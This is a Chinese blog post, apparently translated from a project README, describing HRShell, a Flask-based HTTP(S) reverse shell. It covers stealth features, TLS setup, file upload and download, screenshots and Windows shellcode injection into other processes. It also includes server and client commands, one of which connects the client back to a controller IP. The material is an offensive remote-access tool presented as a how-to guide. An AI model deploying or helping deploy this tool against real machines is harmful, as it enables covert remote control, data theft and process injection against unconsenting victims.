Flask构建的HTTPSHTTP反向Shell

HRShell是一个使用Flask构建的高级HTTP(S)反向Shell,其兼容python 2.x/3.x并已在以下操作系统成功测试:

Linux ubuntu 18.04 LTS

macOS Mojave

Windows 7/10

特性

隐秘性

TLS支持

1)使用即时证书或

2)通过指定证书/密钥对

客户端的代理支持。

目录导航(cd命令和变体)。

支持download/upload/screenshot命令。

shellcode注入(仅适用于Windows x86系统)

1)通过指定其PID,将shellcode注入另一个进程

2)或注入当前运行的进程中

支持管道 (|) 和链式命令 (?

支持各个非交互式(如gdb,top等…)命令

Server服务器同时支持HTTP和HTTPS。

迄今为止,它配备了两个内置服务器…内置flask和tornado-WSGI,同时它还兼容其他生产服务器,如gunicorn和Nginx。

server.py和client.py都可轻松扩展。

由于大多数功能来自服务器的端点设计,因此用任何其他语言(java,GO等……)编写客户端都非常容易

详细信息
TLS
服务器端:除非指定–http选项,否则默认情况下server.py是使用即时证书的HTTPS,因为即时证书是内置的flask功能。但是,如果指定了-s tornado选项使用TLS,则必须如下指定–cert和–key选项:

python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

可以使用“real”证书或生成证书/密钥对使用openssl,如下所示:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

证书/密钥对也可以与flask-server一起使用:

python server.py --cert /path/cert.pem --key /path/key.pem

如果服务器使用TLS,那么根据设计,客户端不能使用http://…连接到服务器,但必须明确使用https。

客户端:默认情况下,客户端的SSL验证被禁用,除非:

要么指定–cert参数,例如:

python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem

或使用有效证书预先设置CERT变量,而不是默认的None值,例如:

CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""

在这种情况下,client.py将尝试动态创建隐藏的.cert.pem文件,并将使用它。

可用命令:

upload : 上传文件到客户端 download : 从客户端下载文件 screenshot: 从客户端下载截图并删除它 migrate :
尝试将shellcode注入到指定PID进程 inject shellcode: 注入shellcode到当前进程 clear:
清屏(对于unix和windows系统是一样的) exit: 关闭与客户端的连接

如果是非交互式的则支持任意其他命令(如gdb,top等…)你同样可以通过键入python server.py -h或python client.py -h,获取服务器和客户端可用参数的信息。

注意:如果客户端与服务器连接并且我们想要终止服务器,则在按CTRL+C之前,我们必须使用exit命令关闭连接。

Shellcode 注入
目前,shellcode注入只能在x86 windows系统中执行。

注释

注入工作的基本先决条件是在client.py上,将shellcode变量设置为有效的shellcode。

如果注入发生在其它进程上,则进程权限起着非常重要的作用。由于缺乏适当的权限,并不总是可以注入任意进程。

当注入发生在当前进程(实际上是client.py)时,如果注入成功,HTTP(S)可能会挂起。

创建自定义命令

客户端:

如果命令要求在服务器端存在新端点,则:

定义端点:

@app.route('/custom_endpoint/<arg>')
def custom_endpoint(arg):
    """
    documentation if needed
    """
    ...
    return ...

然后编辑handleGET()将客户端重定向到该端点:

@app.route('/')
def handleGET():
    ...
    return redirect(url_for('custom_endpoint',
        arg=...)
        )

在handlePOST()中进行适当的编辑以处理呈现的结果。

脚本参数

两个脚本(server.py和client.py)都可以通过参数自定义:

server.py

$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]
server.py: An HTTP(S) reverse-shell server with advanced features.
arguments:
  -h, --help      显示帮助信息并退出
  -s , --server   指定要使用的HTTP(S)服务器(默认值:flask)。
  -c , --client   仅接受来自指定客户端/IP的连接。
  --host          指定要使用的IP(默认值:0.0.0.0)。
  -p , --port     指定要使用的端口(默认值:5000)。
  --http          禁用TLS并改为使用HTTP。
  --cert          指定要使用的证书(默认值:None)。
  --key           指定要使用的相应私钥(默认值:None)。

client.py

$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]
client.py: An HTTP(S) client with advanced features.
arguments:
  -h, --help      显示此帮助信息并退出
  -s , --server   指定要连接的HTTP(S)服务器。
  -c , --cert     指定要使用的证书。
  -p , --proxy    指定要使用的代理[form: host:port]

先决条件

注意:要安装server-requirements:

pip install -r requirements.txt --upgrade --user

未来计划

添加更多命令及功能。

修复潜在的bug。

http://www.45zq.cn/portal/article/index/id/192.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值